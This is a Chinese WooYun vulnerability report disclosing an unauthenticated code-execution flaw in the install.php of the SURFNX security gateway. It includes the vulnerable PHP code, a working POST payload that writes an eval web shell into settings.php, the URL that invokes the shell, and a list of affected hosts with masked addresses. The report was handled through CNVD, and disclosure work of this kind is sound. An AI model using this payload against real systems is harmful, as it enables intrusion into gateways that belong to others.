当前位置:WooYun >> 漏洞信息

漏洞概要 关注数(22) 关注此漏洞

缺陷编号: WooYun-2015-166157

漏洞标题: 任子行SURFNX安全网关任意命令执行漏洞(无需登录可批量)

相关厂商: cncert国家互联网应急中心

漏洞作者: 路人甲

提交时间: 2015-12-30 19:48

公开时间: 2016-01-28 17:30

漏洞类型: 设计不当

危害等级: 高

自评Rank: 20

漏洞状态: 已交由第三方合作机构(cncert国家互联网应急中心)处理

漏洞来源: http://www.wooyun.org,如有疑问或需要帮助请联系 help@wooyun.org

Tags标签: 无

4人收藏 收藏
分享漏洞:


漏洞详情

披露状态:

2015-12-30: 细节已通知厂商并且等待厂商处理中
2016-01-06: 厂商已经确认,细节仅向厂商公开
2016-01-09: 细节向第三方安全合作伙伴开放(绿盟科技唐朝安全巡航无声信息
2016-03-01: 细节向核心白帽子及相关领域专家公开
2016-03-11: 细节向普通白帽子公开
2016-03-21: 细节向实习白帽子公开
2016-01-28: 细节向公众公开

简要描述:

任子行SURFNX安全网关任意命令执行漏洞(无需登录可批量)

详细说明:

SURFNX安全网关,使用量非常广的一套系统

通过扫描发现,目录下存在install.php文件,经过多次测试发现,该文件存在非常严重的漏洞

经过getshell后发现,该漏洞代码为:

code 区域
if($step == 2){
$fp = fopen("lib/templates/".$_POST["oem_pdn"]."/settings.php", "wb");
if (flock($fp, LOCK_EX)) { // acquire an exclusive lock
ftruncate($fp, 0); // truncate file
fwrite($fp, "<?php\n");
foreach($_POST as $key => $value){
fwrite($fp, '$'.'settingInfo["'.$key.'"] = '. "'".$value."';\n");
}
fwrite($fp, "?>");
fflush($fp); // flush output before releasing the lock
flock($fp, LOCK_UN); // release the lock
} else {
echo "Couldn't get the lock!";
}
fclose($fp);
$fp = fopen("oem.out", "wb");
fclose($fp);
}



可写入用户提交的数据到/lib/templates/default/settings.php

由于写入数据的格式,为:

code 区域
$settingInfo["step"] = '2';



按理来说,参数的值由单引号包裹,不能执行

但不巧的是,该代码将key写入的文件,且有双引号包裹,于是可通过"${${}}"这种方式写入数据,执行。

漏洞证明:

随便选取一个案例进行漏洞证明:

这里为:

code 区域
**.**.**.**/install.php

我们只需要访问install.php,并POST数据:

code 区域
oem_pdn=default&step=2&${${extract($_REQUEST)}}=1&${${@eval($x)}}=1



便可将数据写入到/lib/templates/default/settings.php,如图:

1.jpg



写入数据后,可通过如下url查看写入的数据:

code 区域
**.**.**.**/install.php?view=1&oem=default

2.jpg



最终shell地址为:

code 区域
**.**.**.**/lib/templates/default/settings.php?x=phpinfo();

3.jpg



案例非常多,给出几个:

code 区域
**.**.**.**/login.php
**.**.**.**:4434/login.php
**.**.**.**/login.php
**.**.**.**/login.php
**.**.**.**/login.php
**.**.**.**/login.php
**.**.**.**:442/login.php
**.**.**.**:442/login.php
**.**.**.**:442/login.php
**.**.**.**/login.php
**.**.**.**/login.php
**.**.**.**/login.php
**.**.**.**/login.php
**.**.**.**/login.php
**.**.**.**/login.php
**.**.**.**/login.php
**.**.**.**/login.php
**.**.**.**/login.php
**.**.**.**/login.php
**.**.**.**/login.php
**.**.**.**/login.php
**.**.**.**:888/login.php
**.**.**.**:888/login.php
**.**.**.**/login.php
**.**.**.**/login.php
**.**.**.**/login.php
**.**.**.**/login.php
**.**.**.**/login.php
**.**.**.**/login.php

修复方案:

过滤

版权声明:转载请注明来源 路人甲@乌云


漏洞回应

厂商回应:

危害等级:高

漏洞Rank:15

确认时间:2016-01-06 14:57

厂商回复:

CNVD确认并复现所述情况,已由CNVD通过软件生产厂商公开联系渠道向其邮件通报,由其后续提供解决方案并协调相关用户单位处置。

最新状态:

暂无


漏洞评价:

对本漏洞信息进行评价,以更好的反馈信息的价值,包括信息客观性,内容是否完整以及是否具备学习价值

漏洞评价(共0人评价):
登陆后才能进行评分

评价

  1. 2015-12-31 09:29 | f4ckbaidu ( 普通白帽子 | Rank:243 漏洞数:31 | 开发真是日了狗了)
    0

    666

  2. 2015-12-31 15:20 | 哈兹本德 ( 路人 | Rank:24 漏洞数:2 | 哎呀,菜鸟一枚。)
    0

    这种东西也只有路人甲敢提交啊,不然估计会被公司开除啊- -

登录后才能发表评论,请先 登录